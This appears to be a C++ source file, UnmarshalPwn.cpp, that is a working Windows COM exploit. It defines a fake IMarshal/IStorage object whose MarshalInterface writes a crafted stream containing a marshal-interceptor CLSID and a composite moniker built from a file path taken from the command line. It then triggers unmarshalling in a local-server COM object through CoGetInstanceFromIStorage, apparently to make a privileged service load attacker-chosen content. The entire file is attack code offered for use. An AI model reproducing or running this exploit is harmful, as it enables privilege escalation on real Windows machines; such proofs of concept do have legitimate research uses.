420 lines
11 KiB
C++
420 lines
11 KiB
C++
// UnmarshalPwn.cpp : Defines the entry point for the console application.
|
|
//
|
|
|
|
#include "stdafx.h"
|
|
#include <stdio.h>
|
|
#include <tchar.h>
|
|
#include <string>
|
|
#include <comdef.h>
|
|
#include <winternl.h>
|
|
#include <ole2.h>
|
|
#include <Shlwapi.h>
|
|
#include <strsafe.h>
|
|
#include <vector>
|
|
#include <stdlib.h>
|
|
|
|
#pragma comment(lib, "shlwapi.lib")
|
|
|
|
GUID marshalInterceptorGUID = { 0xecabafcb,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };
|
|
GUID compositeMonikerGUID = { 0x00000309,0x0000,0x0000,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } };
|
|
UINT header[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
|
|
UINT monikers[] = { 0x02,0x00,0x00,0x00 };
|
|
GUID newMonikerGUID = { 0xecabafc6,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } };
|
|
GUID random;
|
|
OLECHAR* randomString;
|
|
|
|
static bstr_t IIDToBSTR(REFIID riid)
|
|
{
|
|
LPOLESTR str;
|
|
bstr_t ret = "Unknown";
|
|
if (SUCCEEDED(StringFromIID(riid, &str)))
|
|
{
|
|
ret = str;
|
|
CoTaskMemFree(str);
|
|
}
|
|
return ret;
|
|
}
|
|
|
|
unsigned char const* GuidToByteArray(GUID const& g)
|
|
{
|
|
return reinterpret_cast<unsigned char const*>(&g);
|
|
}
|
|
|
|
class FakeObject : public IMarshal, public IStorage
|
|
{
|
|
LONG m_lRefCount;
|
|
IStoragePtr _stg;
|
|
wchar_t *pFilePath = NULL;
|
|
|
|
public:
|
|
//Constructor, Destructor
|
|
FakeObject(IStoragePtr storage, wchar_t *pValue) {
|
|
_stg = storage;
|
|
m_lRefCount = 1;
|
|
pFilePath = pValue;
|
|
}
|
|
|
|
~FakeObject() {};
|
|
|
|
//IUnknown
|
|
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
|
|
{
|
|
if (riid == __uuidof(IUnknown))
|
|
{
|
|
printf("Query for IUnknown\n");
|
|
*ppvObj = this;
|
|
}
|
|
else if (riid == __uuidof(IStorage))
|
|
{
|
|
printf("Query for IStorage\n");
|
|
*ppvObj = static_cast<IStorage*>(this);
|
|
}
|
|
else if (riid == __uuidof(IMarshal))
|
|
{
|
|
printf("Query for IMarshal\n");
|
|
*ppvObj = static_cast<IMarshal*>(this);
|
|
}
|
|
else
|
|
{
|
|
printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
|
|
*ppvObj = NULL;
|
|
return E_NOINTERFACE;
|
|
}
|
|
|
|
((IUnknown*)*ppvObj)->AddRef();
|
|
return NOERROR;
|
|
}
|
|
|
|
ULONG __stdcall AddRef()
|
|
{
|
|
return InterlockedIncrement(&m_lRefCount);
|
|
}
|
|
|
|
ULONG __stdcall Release()
|
|
{
|
|
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
|
|
|
|
if (0 == ulCount)
|
|
{
|
|
delete this;
|
|
}
|
|
|
|
return ulCount;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE CreateStream(
|
|
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
|
|
/* [in] */ DWORD grfMode,
|
|
/* [in] */ DWORD reserved1,
|
|
/* [in] */ DWORD reserved2,
|
|
/* [out] */ __RPC__deref_out_opt IStream **ppstm) {
|
|
printf("Call: CreateStream\n");
|
|
return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
|
|
|
|
}
|
|
|
|
virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream(
|
|
/* [annotation][string][in] */
|
|
_In_z_ const OLECHAR *pwcsName,
|
|
/* [annotation][unique][in] */
|
|
_Reserved_ void *reserved1,
|
|
/* [in] */ DWORD grfMode,
|
|
/* [in] */ DWORD reserved2,
|
|
/* [annotation][out] */
|
|
_Outptr_ IStream **ppstm) {
|
|
printf("Call: OpenStream\n");
|
|
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE CreateStorage(
|
|
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
|
|
/* [in] */ DWORD grfMode,
|
|
/* [in] */ DWORD reserved1,
|
|
/* [in] */ DWORD reserved2,
|
|
/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {
|
|
printf("Call: CreateStorage\n");
|
|
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE OpenStorage(
|
|
/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
|
|
/* [unique][in] */ __RPC__in_opt IStorage *pstgPriority,
|
|
/* [in] */ DWORD grfMode,
|
|
/* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude,
|
|
/* [in] */ DWORD reserved,
|
|
/* [out] */ __RPC__deref_out_opt IStorage **ppstg) {
|
|
printf("Call: OpenStorage\n");
|
|
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo(
|
|
/* [in] */ DWORD ciidExclude,
|
|
/* [annotation][size_is][unique][in] */
|
|
_In_reads_opt_(ciidExclude) const IID *rgiidExclude,
|
|
/* [annotation][unique][in] */
|
|
_In_opt_ SNB snbExclude,
|
|
/* [annotation][unique][in] */
|
|
_In_ IStorage *pstgDest) {
|
|
printf("Call: CopyTo\n");
|
|
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE MoveElementTo(
|
|
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName,
|
|
/* [unique][in] */ __RPC__in_opt IStorage *pstgDest,
|
|
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName,
|
|
/* [in] */ DWORD grfFlags) {
|
|
printf("Call: MoveElementTo\n");
|
|
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE Commit(
|
|
/* [in] */ DWORD grfCommitFlags) {
|
|
printf("Call: Commit\n");
|
|
_stg->Commit(grfCommitFlags);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE Revert(void) {
|
|
printf("Call: Revert\n");
|
|
return S_OK;
|
|
}
|
|
|
|
virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements(
|
|
/* [annotation][in] */
|
|
_Reserved_ DWORD reserved1,
|
|
/* [annotation][size_is][unique][in] */
|
|
_Reserved_ void *reserved2,
|
|
/* [annotation][in] */
|
|
_Reserved_ DWORD reserved3,
|
|
/* [annotation][out] */
|
|
_Outptr_ IEnumSTATSTG **ppenum) {
|
|
printf("Call: EnumElements\n");
|
|
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE DestroyElement(
|
|
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsName) {
|
|
printf("Call: DestroyElement\n");
|
|
_stg->DestroyElement(pwcsName);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE RenameElement(
|
|
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName,
|
|
/* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName) {
|
|
printf("Call: RenameElement\n");
|
|
return S_OK;
|
|
|
|
};
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE SetElementTimes(
|
|
/* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName,
|
|
/* [unique][in] */ __RPC__in_opt const FILETIME *pctime,
|
|
/* [unique][in] */ __RPC__in_opt const FILETIME *patime,
|
|
/* [unique][in] */ __RPC__in_opt const FILETIME *pmtime) {
|
|
printf("Call: SetElementTimes\n");
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE SetClass(
|
|
/* [in] */ __RPC__in REFCLSID clsid) {
|
|
printf("Call: SetClass\n");
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE SetStateBits(
|
|
/* [in] */ DWORD grfStateBits,
|
|
/* [in] */ DWORD grfMask) {
|
|
printf("Call: SetStateBits\n");
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE Stat(
|
|
/* [out] */ __RPC__out STATSTG *pstatstg,
|
|
/* [in] */ DWORD grfStatFlag) {
|
|
printf("Call: Stat\n");
|
|
HRESULT hr = 0;
|
|
size_t len = 0;
|
|
|
|
len = wcsnlen_s(randomString, MAX_PATH) + 1;
|
|
PWCHAR s = (PWCHAR)CoTaskMemAlloc(len * sizeof(WCHAR));
|
|
wcscpy_s(s, len, randomString);
|
|
pstatstg[0].pwcsName = s;
|
|
hr = _stg->Stat(pstatstg, grfStatFlag);
|
|
printf("End: Stat\n");
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
|
|
/* [annotation][in] */
|
|
_In_ REFIID riid,
|
|
/* [annotation][unique][in] */
|
|
_In_opt_ void *pv,
|
|
/* [annotation][in] */
|
|
_In_ DWORD dwDestContext,
|
|
/* [annotation][unique][in] */
|
|
_Reserved_ void *pvDestContext,
|
|
/* [annotation][in] */
|
|
_In_ DWORD mshlflags,
|
|
/* [annotation][out] */
|
|
_Out_ CLSID *pCid)
|
|
{
|
|
printf("Call: GetUnmarshalClass\n");
|
|
*pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
|
|
/* [annotation][in] */
|
|
_In_ REFIID riid,
|
|
/* [annotation][unique][in] */
|
|
_In_opt_ void *pv,
|
|
/* [annotation][in] */
|
|
_In_ DWORD dwDestContext,
|
|
/* [annotation][unique][in] */
|
|
_Reserved_ void *pvDestContext,
|
|
/* [annotation][in] */
|
|
_In_ DWORD mshlflags,
|
|
/* [annotation][out] */
|
|
_Out_ DWORD *pSize)
|
|
{
|
|
printf("Call: GetMarshalSizeMax\n");
|
|
*pSize = 1024;
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
|
|
/* [annotation][unique][in] */
|
|
_In_ IStream *pStm,
|
|
/* [annotation][in] */
|
|
_In_ REFIID riid,
|
|
/* [annotation][unique][in] */
|
|
_In_opt_ void *pv,
|
|
/* [annotation][in] */
|
|
_In_ DWORD dwDestContext,
|
|
/* [annotation][unique][in] */
|
|
_Reserved_ void *pvDestContext,
|
|
/* [annotation][in] */
|
|
_In_ DWORD mshlflags)
|
|
{
|
|
printf("Call: MarshalInterface\n");
|
|
ULONG written = 0;
|
|
HRESULT hr = 0;
|
|
pStm->Write(header, 12, &written);
|
|
pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written);
|
|
|
|
IMonikerPtr fileMoniker;
|
|
IMonikerPtr newMoniker;
|
|
IBindCtxPtr context;
|
|
|
|
pStm->Write(monikers, 4, &written);
|
|
pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written);
|
|
pStm->Write(monikers, 4, &written);
|
|
hr = CreateBindCtx(0, &context);
|
|
hr = CreateFileMoniker(pFilePath, &fileMoniker);
|
|
hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker);
|
|
hr = OleSaveToStream(fileMoniker, pStm);
|
|
hr = OleSaveToStream(newMoniker, pStm);
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
|
|
/* [annotation][unique][in] */
|
|
_In_ IStream *pStm,
|
|
/* [annotation][in] */
|
|
_In_ REFIID riid,
|
|
/* [annotation][out] */
|
|
_Outptr_ void **ppv)
|
|
{
|
|
printf("Call: UnmarshalInterface\n");
|
|
return E_NOTIMPL;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
|
|
/* [annotation][unique][in] */
|
|
_In_ IStream *pStm)
|
|
{
|
|
printf("Call: ReleaseMarshalData\n");
|
|
return S_OK;
|
|
}
|
|
|
|
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
|
|
/* [annotation][in] */
|
|
_In_ DWORD dwReserved)
|
|
{
|
|
printf("Call: DisconnectObject\n");
|
|
return S_OK;
|
|
}
|
|
};
|
|
|
|
static HRESULT Check(HRESULT hr)
|
|
{
|
|
if (FAILED(hr))
|
|
{
|
|
throw _com_error(hr);
|
|
}
|
|
return hr;
|
|
}
|
|
|
|
void Exploit(wchar_t *pValue)
|
|
{
|
|
HRESULT hr = 0;
|
|
IStoragePtr storage = nullptr;
|
|
MULTI_QI* qi = new MULTI_QI[1];
|
|
|
|
GUID target_GUID = { 0x7d096c5f,0xac08,0x4f1f,{ 0xbe,0xb7,0x5c,0x22,0xc5,0x17,0xce,0x39 } };
|
|
hr = CoCreateGuid(&random);
|
|
|
|
StringFromCLSID(random, &randomString);
|
|
StgCreateDocfile(randomString, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &storage);
|
|
|
|
IStoragePtr pFake = new FakeObject(storage, pValue);
|
|
|
|
qi[0].pIID = &IID_IUnknown;
|
|
qi[0].pItf = NULL;
|
|
qi[0].hr = 0;
|
|
|
|
CoGetInstanceFromIStorage(NULL, &target_GUID, NULL, CLSCTX_LOCAL_SERVER, pFake, 1, qi);
|
|
|
|
}
|
|
|
|
class CoInit
|
|
{
|
|
public:
|
|
CoInit()
|
|
{
|
|
Check(CoInitialize(nullptr));
|
|
Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL, nullptr));
|
|
}
|
|
|
|
~CoInit()
|
|
{
|
|
CoUninitialize();
|
|
}
|
|
};
|
|
|
|
|
|
int wmain(int argc, wchar_t** argv)
|
|
{
|
|
try
|
|
{
|
|
CoInit ci;
|
|
|
|
Exploit(argv[1]);
|
|
|
|
}
|
|
catch (const _com_error& err)
|
|
{
|
|
printf("Error: %ls\n", err.ErrorMessage());
|
|
}
|
|
|
|
return 0;
|
|
}
|